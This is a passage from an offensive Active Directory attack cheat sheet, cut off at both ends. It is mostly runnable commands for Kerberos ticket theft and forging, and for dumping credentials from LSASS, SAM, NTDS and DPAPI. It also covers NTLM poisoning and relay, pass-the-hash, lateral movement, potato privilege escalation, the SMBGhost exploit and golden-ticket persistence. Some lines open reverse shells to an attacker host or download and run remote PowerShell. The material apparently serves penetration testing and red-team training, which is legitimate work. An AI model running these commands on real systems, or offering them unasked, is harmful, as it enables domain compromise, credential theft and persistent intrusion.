  domain.local/user:pass -dc-ip 10.10.10.1

# Or with PowerMad
New-MachineAccount -MachineAccount EVIL -Password $(ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force)

# 2. Set RBCD on target
# Impacket
rbcd.py -delegate-from EVIL$ -delegate-to TARGET$ -action write \
  domain.local/user:pass -dc-ip 10.10.10.1

# PowerView
$sid = Get-DomainComputer EVIL$ -Properties objectsid | Select-Object -Expand objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($sdBytes, 0)
Set-DomainObject TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$sdBytes}

# 3. S4U to get ticket as Administrator to target
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  domain.local/EVIL$:'P@ssw0rd' -dc-ip 10.10.10.1
export KRB5CCNAME=Administrator@[email protected]
smbclient.py -k -no-pass target.domain.local

#Pass-the-Ticket

Use a stolen Kerberos ticket (TGT or TGS) to authenticate without knowing the password. Tickets can be extracted from LSASS memory or forged.

# Export tickets from current session (Rubeus)
.\Rubeus.exe dump /nowrap
.\Rubeus.exe triage                    # List all tickets in memory

# Inject a ticket (Rubeus)
.\Rubeus.exe ptt /ticket:<base64_ticket>
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Mimikatz export and inject
kerberos::list /export                  # Export all tickets to .kirbi files
kerberos::ptt ticket.kirbi              # Inject ticket
# Linux - convert between formats
ticketConverter.py ticket.kirbi ticket.ccache   # kirbi -> ccache
ticketConverter.py ticket.ccache ticket.kirbi   # ccache -> kirbi

# Use ticket
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass domain.local/[email protected]
smbclient.py -k -no-pass target.domain.local
wmiexec.py -k -no-pass domain.local/[email protected]

#Credential Harvesting

#LSASS Dump

LSASS (Local Security Authority Subsystem Service) stores credentials for logged-in users. Multiple dump methods exist depending on your access and AV/EDR in place.

# Mimikatz - direct dump (most detected)
privilege::debug
sekurlsa::logonpasswords                # All creds from LSASS
sekurlsa::wdigest                       # Plaintext if WDigest enabled
sekurlsa::ekeys                         # Kerberos keys
sekurlsa::tickets /export               # Export Kerberos tickets

# ProcDump (signed by Microsoft - less flagged)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# comsvcs.dll MiniDump (LOLBin - no external tools)
# Find LSASS PID first
tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full

# nanodump (stealthy - direct syscalls)
nanodump.exe --write C:\temp\lsass.dmp

# Parse dump offline
pypykatz lsa minidump lsass.dmp         # From Linux
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
# Remote LSASS dump via NetExec
netexec smb target -u admin -p 'pass' -M lsassy
netexec smb target -u admin -p 'pass' -M nanodump
netexec smb target -u admin -H <NTHASH> --lsa

#SAM / LSA / NTDS

Different credential stores contain different secrets.

# --- SAM (local accounts) ---
# Registry save (requires local admin)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
secretsdump.py -sam sam.bak -system system.bak LOCAL

# Remote via secretsdump
secretsdump.py domain.local/admin:pass@target -sam

# NetExec
netexec smb target -u admin -p 'pass' --sam

# --- LSA Secrets (service account creds, cached creds) ---
secretsdump.py domain.local/admin:pass@target -security
netexec smb target -u admin -p 'pass' --lsa

# --- NTDS.dit (all domain hashes - requires DC access) ---
# Method 1: ntdsutil (on the DC)
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds" quit quit
# Grab C:\temp\ntds\Active Directory\ntds.dit and C:\temp\ntds\registry\SYSTEM

# Method 2: Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.bak

# Method 3: secretsdump remote (needs DA)
secretsdump.py domain.local/admin:pass@dc01 -ntds
secretsdump.py domain.local/admin:pass@dc01 -ntds -history   # Include history

# NetExec NTDS dump
netexec smb dc01 -u admin -p 'pass' --ntds

# --- DCSync (remotely extract hashes - needs Replicating Directory Changes rights) ---
# All users
secretsdump.py domain.local/admin:pass@dc01 -just-dc
# Specific user
secretsdump.py domain.local/admin:pass@dc01 -just-dc-user krbtgt
secretsdump.py domain.local/admin:pass@dc01 -just-dc-user Administrator

# Mimikatz DCSync
lsadump::dcsync /domain:domain.local /all
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

#DPAPI

Windows Data Protection API encrypts secrets for each user. Chrome passwords, Wi-Fi keys, vault credentials, and RDP passwords are protected by DPAPI.

# Find DPAPI masterkeys
# Located at: C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\

# Mimikatz - decrypt with user password or domain backup key
dpapi::masterkey /in:masterkey_file /rpc          # Using DC backup key (DA required)
dpapi::masterkey /in:masterkey_file /password:pass # Using user password

# Chrome passwords
dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect

# Vault credentials (Windows Credential Manager)
vault::list
vault::cred /patch

# Wi-Fi keys
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear

# SharpDPAPI (C#) - auto-triage DPAPI secrets
.\SharpDPAPI.exe triage
.\SharpDPAPI.exe credentials /password:pass
.\SharpDPAPI.exe backupkey /nowrap                # Extract domain backup key (DA)

# From Linux with domain backup key
dpapi.py unprotect -file encrypted_blob -key <domain_backup_key>

#Responder / Relay

Capture and relay NTLM authentication. Responder poisons LLMNR/NBT-NS/mDNS to get hashes. ntlmrelayx forwards captured auth to other services.

# --- Responder: Poison and capture ---
# Start poisoning (LLMNR, NBT-NS, mDNS)
sudo responder -I eth0 -dwPv

# Capture NTLMv2 hashes -> crack
hashcat -m 5600 responder_hashes.txt /usr/share/wordlists/rockyou.txt

# --- ntlmrelayx: Relay instead of crack ---
# Disable HTTP and SMB in Responder.conf first, then:

# Relay to SMB (get shell or dump SAM)
sudo ntlmrelayx.py -tf targets.txt -smb2support
sudo ntlmrelayx.py -tf targets.txt -smb2support -e payload.exe  # Execute payload

# Relay to LDAP (add computer account, set RBCD, DCSync rights)
sudo ntlmrelayx.py -t ldap://dc01 --delegate-access             # Set RBCD
sudo ntlmrelayx.py -t ldap://dc01 --escalate-user controlled_user # Add DCSync rights

# Relay to ADCS web enrollment (ESC8)
sudo ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp \
  --adcs --template DomainController

# --- PetitPotam + ntlmrelayx (coerce DC auth -> relay) ---
# 1. Start relay to ADCS
sudo ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp \
  --adcs --template DomainController

# 2. Coerce DC
python3 PetitPotam.py attacker_ip dc01

# 3. Get certificate for DC -> use for auth
python3 gettgtpkinit.py domain.local/DC01$ -cert-pfx dc01.pfx dc01.ccache
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass dc01.domain.local -just-dc

#GPP cpassword (MS14-025 / CVE-2014-1812)

Legacy Group Policy Preferences stored credentials in Groups.xml / Services.xml / ScheduledTasks.xml inside SYSVOL, encrypted with a known AES key published by Microsoft. Any authenticated user can read SYSVOL.

Requirements: Any domain user. Unpatched/un-cleaned SYSVOL (the cpassword attribute is still seen on old networks years after the 2014 patch).

# Search SYSVOL (works from Windows)
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml

# Linux - smbclient recursive pull
smbclient //dc01/SYSVOL -U 'domain\user%pass' \
  -c 'prompt OFF; recurse ON; mget *'
grep -r cpassword ./sysvol/

# NetExec auto-finder + decryptor
nxc smb dc01 -u user -p pass -M gpp_password
nxc smb dc01 -u user -p pass -M gpp_autologin   # Autologon creds in Registry.xml

# Decrypt manually
gpp-decrypt "<cpassword_blob>"
# Or: python3 gpp-decrypt.py <cpassword>

#Remote DPAPI Looting (DonPAPI / dploot)

Both tools remotely dump DPAPI-protected secrets (Chrome, Edge, Firefox, vault creds, RDP, Wi-Fi, cached LSA) over SMB, using the user password, the domain DPAPI backup key, or the machine master key.

Requirements: Local admin on the target, OR the domain DPAPI backup key (DA once, forever after).

# DonPAPI - mass collect across hosts
donpapi collect -u admin -p 'pass' -d domain.local -t target
donpapi collect -u admin -H :NTHASH -d domain.local -tf hosts.txt
# With domain backup key (decrypt every DPAPI blob without each user's pwd)
donpapi collect --pvk backupkey.pvk -u admin -p pass -d domain.local -t target

# dploot - fine-grained remote DPAPI triage
dploot triage -u admin -p 'pass' -d domain.local -t target
dploot chrome -u admin -p 'pass' -d domain.local -t target
dploot credentials -u admin -p 'pass' -d domain.local -t target
dploot vaults -u admin -p 'pass' -d domain.local -t target
dploot rdg -u admin -p 'pass' -d domain.local -t target       # RDP Manager files
dploot wifi -u admin -p 'pass' -d domain.local -t target
dploot machinemasterkeys -u admin -p pass -d domain.local -t target
dploot backupkey -u admin -p pass -d domain.local -d dc01     # Grab domain backup key (DA)

#DPAPImk2john - Masterkey Cracking

When you have a DPAPI masterkey file but no password/backupkey, crack the user password offline via the masterkey's pwdhash HMAC.

# Convert masterkey file to john format
DPAPImk2john.py --masterkey /path/to/masterkey > dpapi.hash

# Hashcat mode 15300 (DPAPIv1, pre-Win10) / 15900 (DPAPIv2, Win10+)
hashcat -m 15300 dpapi.hash /usr/share/wordlists/rockyou.txt
hashcat -m 15900 dpapi.hash rockyou.txt -r rules/OneRuleToRuleThemAll.rule

# Decrypt the masterkey once cracked
dpapi.py masterkey -file masterkey -password 'CrackedPwd'

#Masky (ADCS User Impersonation)

Masky abuses local admin on a machine to request certificates on behalf of every interactively logged-on user via CryptoAPI. The returned certs are used for PKINIT -> NT hash extraction. It turns "local admin on one box" into "NT hashes of every user who touched that box", without ever touching LSASS.

Requirements: Local admin on target. Any usable ADCS template with Client Authentication EKU (User works).

# Basic run - dumps NT hashes of all logged-on users
masky -d domain.local -u admin -p 'pass' -ca 'CORP-CA' target

# With NT hash
masky -d domain.local -u admin -H :NTHASH -ca 'CORP-CA' target

# Specify a different template
masky -d domain.local -u admin -p 'pass' \
  -ca 'CORP-CA' -t 'User' target

# Keep the pfx files for later reuse
masky -d domain.local -u admin -p 'pass' -ca 'CORP-CA' -o loot target

#Lsassy (Remote LSASS Dump Standalone)

Lsassy as a NetExec module is covered above, but the standalone binary gives finer control over the dump method (comsvcs, procdump, nanodump, dumpert, dllinject, mirrordump) and parsing backend.

# Single target
lsassy -u admin -p 'pass' -d domain.local target

# With NT hash + nanodump (direct syscalls, evades Defender ML)
lsassy -u admin -H :NTHASH -d domain.local -m nanodump target

# Multiple targets, JSON output
lsassy -u admin -p 'pass' -d domain.local -o json hosts.txt

# Use a custom dumped file already on disk
lsassy --dumpname lsass.dmp -u admin -p pass target

# Methods: comsvcs (default), procdump, nanodump, dumpert, dllinject, mirrordump
lsassy -m dumpert -u admin -p pass target

#MSCachev2 (DCC2) Cracking

secretsdump --security yields $DCC2$ (Domain Cached Credentials v2) hashes for the last 10 interactively logged-on users. Salted PBKDF2-HMAC-SHA1 over the NT hash, so cracking is slow but offline-friendly. Salt is the lowercase username.

# Get the hashes
secretsdump.py domain.local/admin:pass@target -security
# Output: DOMAIN\user:$DCC2$10240#user#<hash>

# Hashcat mode 2100
hashcat -m 2100 dcc2.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
# With OneRule (heavy)
hashcat -m 2100 dcc2.txt rockyou.txt -r OneRuleToRuleThemAll.rule

#Quick Cracking Reference

Hashcat modes for every hash type you will pull out of AD. Use this when piping secretsdump, Responder, Kerberoast, or DPAPI output straight into a cracking rig.

Hash Mode Source Notes
LM 3000 SAM on pre-Vista / legacy 14-char max, upper-case only, trivially cracked
NT (NTLM) 1000 SAM, NTDS, secretsdump, pypykatz MD4(UTF-16LE(password))
NetNTLMv1 5500 Responder with LMCompatibilityLevel<=2 Submit to crack.sh for instant NT hash recovery
NetNTLMv2 5600 Responder default Main hash from relay/coercion failures
DCC (MSCache) 1100 Older Windows LSA Rare today
DCC2 (MSCachev2) 2100 secretsdump --security Slow, PBKDF2-HMAC-SHA1, salt = lowercase username
AS-REP (etype 23) 18200 GetNPUsers.py / Rubeus asreproast RC4-HMAC, fast
Kerberoast TGS RC4 13100 GetUserSPNs.py / Rubeus kerberoast Fast, target first
Kerberoast TGS AES128 19600 Rubeus kerberoast (AES accounts) Much slower than RC4
Kerberoast TGS AES256 19700 Rubeus kerberoast (AES accounts) Slowest but modern default
DPAPI v1 masterkey 15300 DPAPImk2john on masterkey file Pre-Win10
DPAPI v2 masterkey 15900 DPAPImk2john on masterkey file Win10+
KeePass KDBX 1.x 13400 keepass2john -a 0 straight dict
bcrypt 3200 web app DBs Very slow

Common rules (fastest to heaviest):

# Shipped with hashcat
-r rules/best64.rule                 # Fast, catches 80% of low-effort passwords
-r rules/d3ad0ne.rule                # Medium
-r rules/dive.rule                   # Heavy symbol mutations
# Community classics
-r rules/OneRuleToRuleThemAll.rule   # ~52k rules, the de-facto standard
-r rules/hob064.rule                 # Small + fast, good warm-up
-r rules/pantagrule.hybrid.rule      # Very large, token-swap focused

# Typical workflow
hashcat -m 13100 kerb.txt rockyou.txt
hashcat -m 13100 kerb.txt rockyou.txt -r rules/best64.rule
hashcat -m 13100 kerb.txt rockyou.txt -r rules/OneRuleToRuleThemAll.rule
hashcat -m 13100 kerb.txt -a 3 ?u?l?l?l?l?l?l?d?d?s   # Mask for policy compliance

#Lateral Movement

#Remote Execution

Choose your execution method based on port requirements, stealth needs, and what's available.

Method Tool Port Requires Stealth Notes
PsExec psexec.py / Sysinternals 445 (SMB) Admin + writable share Low Creates a service, writes to disk
SMBExec smbexec.py 445 (SMB) Admin Low-Med Service-based, no binary on disk
WMIExec wmiexec.py 135 (WMI) + dynamic Admin Medium No service creation
AtExec atexec.py 445 (SMB) Admin Medium Creates scheduled task
DcomExec dcomexec.py 135 (RPC) + dynamic Admin Medium Uses DCOM objects (MMC20, ShellWindows)
Evil-WinRM evil-winrm 5985/5986 Admin or Remote Mgmt Users Medium PowerShell remoting, great for file transfer
xfreerdp xfreerdp 3389 (RDP) RDP access High Full GUI, Restricted Admin for PtH
SSH ssh 22 SSH enabled (Win10+) High If OpenSSH is installed
# PsExec
psexec.py domain.local/admin:pass@target
psexec.py -hashes :NTHASH domain.local/admin@target

# SMBExec
smbexec.py domain.local/admin:pass@target
smbexec.py -hashes :NTHASH domain.local/admin@target

# WMIExec
wmiexec.py domain.local/admin:pass@target
wmiexec.py -hashes :NTHASH domain.local/admin@target

# AtExec
atexec.py domain.local/admin:pass@target "whoami"

# DcomExec
dcomexec.py domain.local/admin:pass@target
dcomexec.py -object MMC20 domain.local/admin:pass@target

# Evil-WinRM
evil-winrm -i target -u admin -p 'pass'
evil-winrm -i target -u admin -H NTHASH

# xfreerdp
xfreerdp /v:target /u:admin /p:'pass' /d:domain.local /cert:ignore
xfreerdp /v:target /u:admin /pth:NTHASH /d:domain.local /cert:ignore  # Restricted Admin mode

#Pass-the-Hash

Use an NTLM hash directly instead of a plaintext password. Works for any tool that supports NTLM authentication.

# NetExec - spray or single target
netexec smb target -u admin -H NTHASH
netexec smb target -u admin -H NTHASH --local-auth   # Local admin
netexec smb 10.10.10.0/24 -u admin -H NTHASH         # Spray subnet
netexec winrm target -u admin -H NTHASH -x "whoami"  # Command exec

# Impacket suite (all support -hashes)
psexec.py -hashes :NTHASH domain.local/admin@target
wmiexec.py -hashes :NTHASH domain.local/admin@target
smbclient.py -hashes :NTHASH domain.local/admin@target

# Mimikatz - spawn process with another user's hash
sekurlsa::pth /user:admin /domain:domain.local /ntlm:NTHASH /run:cmd.exe

# Evil-WinRM
evil-winrm -i target -u admin -H NTHASH

# xfreerdp (requires Restricted Admin mode enabled on target)
# Enable it: reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
xfreerdp /v:target /u:admin /pth:NTHASH /d:domain.local

#Pass-the-Ticket

Reuse Kerberos tickets. See the Kerberos Attacks - Pass-the-Ticket section for full details.

# Quick reference
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass domain.local/[email protected]
smbclient.py -k -no-pass target.domain.local

# Overpass-the-Hash (NTLM hash -> Kerberos ticket -> access)
# Use hash to request a TGT, then use Kerberos auth
getTGT.py domain.local/admin -hashes :NTHASH -dc-ip dc01
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass domain.local/[email protected]

#Pass-the-AES-Key

AES256 Kerberos keys are stored alongside NT hashes after secretsdump.py -just-dc. Using AES instead of RC4 avoids detections that alert on RC4-HMAC (etype 23) usage and avoids "encryption downgrade" events on Kerberoast-hunting SIEMs.

# Dump AES keys (extract from -just-dc output columns aes256_hmac / aes128_hmac)
secretsdump.py domain.local/admin:pass@dc01 -just-dc -user-status

# Request a TGT with the AES256 key
getTGT.py -aesKey <64-hex-AES256-key> domain.local/admin -dc-ip dc01
export KRB5CCNAME=admin.ccache

# Use the TGT
psexec.py -k -no-pass domain.local/[email protected]
secretsdump.py -k -no-pass dc01.domain.local -just-dc

# Mimikatz equivalent
sekurlsa::pth /user:admin /domain:domain.local \
  /aes256:<key> /run:cmd.exe

# Rubeus
.\Rubeus.exe asktgt /user:admin /domain:domain.local \
  /aes256:<key> /ptt

#DCOM Execution Variants

dcomexec.py exposes several COM objects with different execution semantics, artifact patterns, and auth tolerance. The default (MMC20.Application) is the most reliable; the others are useful when Windows Defender ASR rules or AppLocker kill MMC.

# MMC20.Application - default, needs admin
dcomexec.py -object MMC20 domain.local/admin:pass@target
# Command: runs via MMC20.Application.Document.ActiveView.ExecuteShellCommand

# ShellWindows - uses explorer.exe as a parent, survives some ASR rules
dcomexec.py -object ShellWindows domain.local/admin:pass@target

# ShellBrowserWindow - similar to ShellWindows, different ProgID
dcomexec.py -object ShellBrowserWindow domain.local/admin:pass@target

# With NT hash
dcomexec.py -object ShellWindows -hashes :NTHASH domain.local/admin@target

# Interactive shell
dcomexec.py -object MMC20 domain.local/admin:pass@target "cmd.exe"

# Windows-side equivalent (Invoke-DCOM.ps1)
Invoke-DCOM -ComputerName target -Method MMC20.Application -Command "calc.exe"
Invoke-DCOM -ComputerName target -Method ShellWindows -Command "calc.exe"

#smbclient-ng

smbclient-ng is a modern interactive SMB client with tab-completion, recursive operations, and built-in helpers for SYSVOL hunting, share ACL review, and direct registry / service interaction over \PIPE\.

# Connect
smbclientng -u user -p 'pass' -d domain.local --host target
smbclientng -u admin -H :NTHASH --host target

# Inside the shell
shares                      # List shares with access rights
use C$                      # Mount a share
tree                        # Recursive listing
find cpassword .            # Recursive grep
sizeof Users\admin          # Recursive size calc
get -r Users\admin\Desktop  # Recursive download
put beacon.exe
rm -r oldlogs\
services list               # Enumerate services via SCM pipe
services start MyBackdoor

# Non-interactive
smbclientng -u user -p pass --host target -x "shares; use SYSVOL; tree"

#MSSQL Lateral Movement

MSSQL is a first-class lateral path in segmented AD environments. Linked servers let you hop from one SQL instance to another, often crossing network segments and even domain trusts, and xp_cmdshell / EXECUTE AS LOGIN give you OS command execution as the service account (often with SeImpersonate -> Potato -> SYSTEM).

#Discovery

# Find SQL servers in AD (SPN = MSSQLSvc/*)
GetUserSPNs.py domain.local/user:pass -dc-ip dc01 | grep MSSQLSvc

# Spray / check auth across a subnet
nxc mssql 10.0.0.0/24 -u user -p 'pass'
nxc mssql 10.0.0.0/24 -u user -H :NTHASH
nxc mssql 10.0.0.0/24 -u user -p 'pass' -M mssql_priv   # Priv enum

# Enumerate from a domain-joined Windows host
Get-SQLInstanceDomain                      # PowerUpSQL: every SPN-registered SQL
Get-SQLConnectionTest -Verbose
Get-SQLServerInfo -Instance sql01
# Import
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1')

# Audit the local SQL instance for privesc
Invoke-SQLAudit -Instance sql01 -Verbose

# Enumerate linked servers
Get-SQLServerLink -Instance sql01 -Verbose

# CRAWL all linked server chains recursively
Get-SQLServerLinkCrawl -Instance sql01 -Verbose
# Output shows: sql01 -> sql02 -> sql03 and impersonation path

# Execute a command across the entire link graph
Get-SQLServerLinkCrawl -Instance sql01 \
  -Query "EXEC master..xp_cmdshell 'whoami'"

# Get OS shell on the furthest reachable link
Get-SQLServerLinkCrawl -Instance sql01 \
  -Query "exec master..xp_cmdshell 'powershell -enc <b64>'"

#mssqlclient.py - Hands-On

# Connect (Windows auth)
mssqlclient.py -windows-auth domain.local/user:pass@sql01
mssqlclient.py -windows-auth -hashes :NTHASH domain.local/user@sql01
mssqlclient.py -k -no-pass sql01.domain.local   # Kerberos

# Inside the mssqlclient shell:
SQL> enum_links                     # List linked servers
SQL> enum_impersonate               # Who you can EXECUTE AS
SQL> enum_owner                     # DB owners (trustworthy chaining)
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami /all

# Impersonation - EXECUTE AS LOGIN
SQL> EXECUTE AS LOGIN = 'sa';
SQL> SELECT SYSTEM_USER;            # Confirm
SQL> EXEC master..xp_cmdshell 'whoami';
SQL> REVERT;

# Linked server RCE via OPENQUERY
SQL> SELECT * FROM OPENQUERY("SQL02", 'SELECT @@version');
SQL> EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQL02];
SQL> EXEC ('xp_cmdshell ''whoami''') AT [SQL02];

# Double-hop execution (sql01 -> sql02 -> sql03)
SQL> EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SQL03]') AT [SQL02];

#Relay / Coerce Path to MSSQL

# Relay captured auth to MSSQL (xp_cmdshell if sysadmin)
ntlmrelayx.py -t mssql://sql01 -smb2support -socks
# Or execute a command on relay
ntlmrelayx.py -t mssql://sql01 -smb2support \
  -c 'EXEC xp_cmdshell ''whoami'''

#Local Privilege Escalation

#Auto-Enumeration Tools

Run one of these first on every box you land on. They check service permissions, quotable paths, AlwaysInstallElevated, stored credentials, scheduled tasks, DPAPI blobs, token privileges, and dozens of other paths.

# WinPEAS (CarlosPolop) - most complete
# Drop the right binary: winPEASx64.exe / winPEASx86.exe / winPEAS.bat / winPEAS.ps1
.\winPEASx64.exe
.\winPEASx64.exe systeminfo userinfo        # Target specific checks
.\winPEASx64.exe -linpeas                   # Quiet mode
IEX (iwr -useb https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.ps1)

# PrivescCheck (itm4n) - pure PowerShell, no binary drop
. .\PrivescCheck.ps1
Invoke-PrivescCheck
Invoke-PrivescCheck -Extended -Report report.html -Format HTML

# Seatbelt (GhostPack) - C#, focused on host-situational awareness
.\Seatbelt.exe -group=all
.\Seatbelt.exe -group=user                  # User-focused only
.\Seatbelt.exe -group=system                # System hygiene
.\Seatbelt.exe DpapiMasterKeys WindowsCredentialFiles RDPSessions

#SeImpersonate - Potato Family

Service accounts (IIS, MSSQL, Exchange) almost always hold SeImpersonatePrivilege. The "potato" family abuses this to coerce a SYSTEM auth to a local COM/RPC listener then impersonate the resulting token.

Pick the right potato per Windows version:

Potato Works on Mechanism
JuicyPotato <= Win10 1803 / 2016 DCOM -> RPC with fixed CLSIDs (dead on modern)
RoguePotato Win10 1809+ / 2019 DCOM OXID resolver redirect to attacker-hosted RPC
PrintSpoofer Win10 / 2019 / 2022 (Spooler on) MS-RPRN named pipe -> SYSTEM
EfsPotato / SharpEfsPotato Anywhere EFS RPC is reachable MS-EFSRPC over \pipe\lsarpc
GodPotato Win8 -> Win11 / Server 2012-2022 DCOM via RpcSs, no Spooler required
JuicyPotatoNG Modernized JuicyPotato, works again on 2019/2022 DCOM OXID with rogue OXID resolver
LocalPotato (CVE-2023-21746) Pre Jan 2023 patch NTLM local auth reflection over SMB loopback
CertPotato Virtual Account / Network Service + ADCS Machine cert via ADCS -> SYSTEM
RemotePotato0 Cross-session relay Relay SYSTEM auth to LDAP/HTTP remotely
# PrintSpoofer - simplest, works on almost everything where Spooler is up
.\PrintSpoofer.exe -i -c cmd.exe
.\PrintSpoofer.exe -c "powershell -enc <b64>"

# GodPotato - no Spooler requirement, works on 2012-2022
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "C:\temp\nc.exe attacker 4444 -e cmd.exe"

# EfsPotato - when Spooler is disabled and DCOM is filtered
.\EfsPotato.exe "whoami"
.\SharpEfsPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"

# JuicyPotatoNG - modernized OXID, 2019/2022
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami"

# RoguePotato - needs attacker-side OXID resolver on tcp/135
# On Kali:
socat TCP-LISTEN:135,fork,reuseaddr TCP:victim:9999
# On victim:
.\RoguePotato.exe -r ATTACKER_IP -e "cmd.exe" -l 9999

# LocalPotato (CVE-2023-21746)
.\LocalPotato.exe -i cmd.exe

# CertPotato - service account -> SYSTEM via ADCS
# Virtual Account / Network Service requests a machine cert for the host,
# then uses it for PKINIT, retrieving the MACHINE$ NT hash.
.\CertPotato.exe

# impersonate-rs (zblurx) - Rust token impersonation, alt to potatoes
# Useful when potatoes get caught by AV signatures - rewritten in Rust + custom IL stub
impersonate-rs.exe list                           # Enumerate available SYSTEM tokens
impersonate-rs.exe run -t <pid> -- cmd.exe        # Steal token from a SYSTEM process
impersonate-rs.exe sid -t S-1-5-18 -- cmd.exe     # Impersonate by SID

#KrbRelayUp

Kerberos relay from a domain-joined workstation back to LDAP on the local DC, via the RPC SetPasswordProtocol / LDAP over TCP. Result: local SYSTEM without any credentials. Works from any low-priv user on a domain-joined host when LDAP signing is not enforced.

Requirements: Low-priv user on a domain-joined host. ms-DS-MachineAccountQuota > 0. LDAP signing not enforced on DC.

# One-shot (creates machine account, relays, S4U, PTT, spawns SYSTEM shell)
.\KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount \
  -ComputerName EVIL -ComputerPassword 'P@ssw0rd!'

# If you already have a machine account
.\KrbRelayUp.exe relay -Domain domain.local -ComputerName EVIL \
  -ComputerPassword 'P@ssw0rd!'

# Full chain - auto-escalate to SYSTEM via RBCD on the local host
.\KrbRelayUp.exe full -Domain domain.local -CreateNewComputerAccount

#SMBGhost (CVE-2020-0796)

SMBv3.1.1 compression integer overflow. Remotely pre-auth SYSTEM RCE on Win10 1903/1909 / Server 1903/1909. Also has a reliable local-SYSTEM LPE variant that is far more stable than the remote one.

# Detect
nmap -p445 --script smb-vuln-cve-2020-0796 target
python3 SMBGhost_scanner.py target

# Fingerprint SMB2 dialect + uptime (decide if SMBGhost / EternalBlue worth trying)
FindSMB2UPTime.py target            # Responder helper - shows last reboot date
nmap -p445 --script smb-protocols target

# Local privesc (runs from a low-priv user on vulnerable host)
python3 SMBGhost_RCE.py            # Or the C variant: CVE-2020-0796-LPE.exe

# Remote RCE (unstable, often BSODs)
python3 SMBGhost_RCE.py target

FindSMB2UPTime.py (shipped with Responder) reads the SMB2 NEGOTIATE response which leaks the server boot time. If a host has not rebooted since before the patch date for SMBGhost (Mar 2020) or EternalBlue (Mar 2017), it is almost certainly vulnerable - saves you from blind firing exploits.

#Searching Files for Secrets

Before running exploits, always grep the disk. Unattend files, web.config, PowerShell history, saved RDP sessions, and "passwords.txt" on the Desktop are more common than any CVE.

:: Built-in findstr over common config/script files
findstr /si password *.xml *.ini *.txt *.config *.ps1 *.bat *.cmd
findstr /spin "password" C:\Users\*.*
dir /s /b C:\Users\*unattend* C:\Windows\Panther\*unattend*
type C:\Windows\Panther\Unattend.xml
type C:\Windows\system32\sysprep\sysprep.xml

:: PowerShell history (per-user)
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

:: Saved WiFi keys
for /f "tokens=2 delims=:" %a in ('netsh wlan show profiles ^| findstr "All User"') do @(netsh wlan show profile name=%a key=clear)
# Recursive string search
Get-ChildItem C:\ -Recurse -Include *.xml,*.ini,*.txt,*.config,*.ps1,*.bat,*.cmd -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|pwd|secret|apikey|connectionstring' -List

# Specific high-value files
Get-ChildItem -Path C:\Users -Recurse -Include *.kdbx,*.rdg,*.pfx,*.key -ErrorAction SilentlyContinue

# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1: msfvenom -p windows/x64/shell_reverse_tcp LHOST=... -f msi > s.msi
# msiexec /quiet /qn /i s.msi

# Unquoted service paths
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *'} |
  Select-Object Name,PathName,StartMode

# Writable service binaries (AccessChk)
accesschk.exe -uwcqv "Authenticated Users" *

#Persistence

#Golden Ticket (krbtgt)

Full domain persistence. Forge a TGT for any user with any group membership. Valid until krbtgt password is changed twice (because AD keeps current + previous key).

# 1. Dump krbtgt hash (DCSync)
secretsdump.py domain.local/admin:pass@dc01 -just-dc-user krbtgt
# Save: krbtgt NTLM hash + domain SID

# 2. Forge Golden Ticket
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... \
  -domain domain.local -duration 3650 Administrator
# Or with extra SIDs (Enterprise Admin for parent domain)
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... \
  -domain domain.local -extra-sid S-1-5-21-<parent>-519 Administrator

# 3. Use it
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass dc01.domain.local -just-dc

# Mimikatz
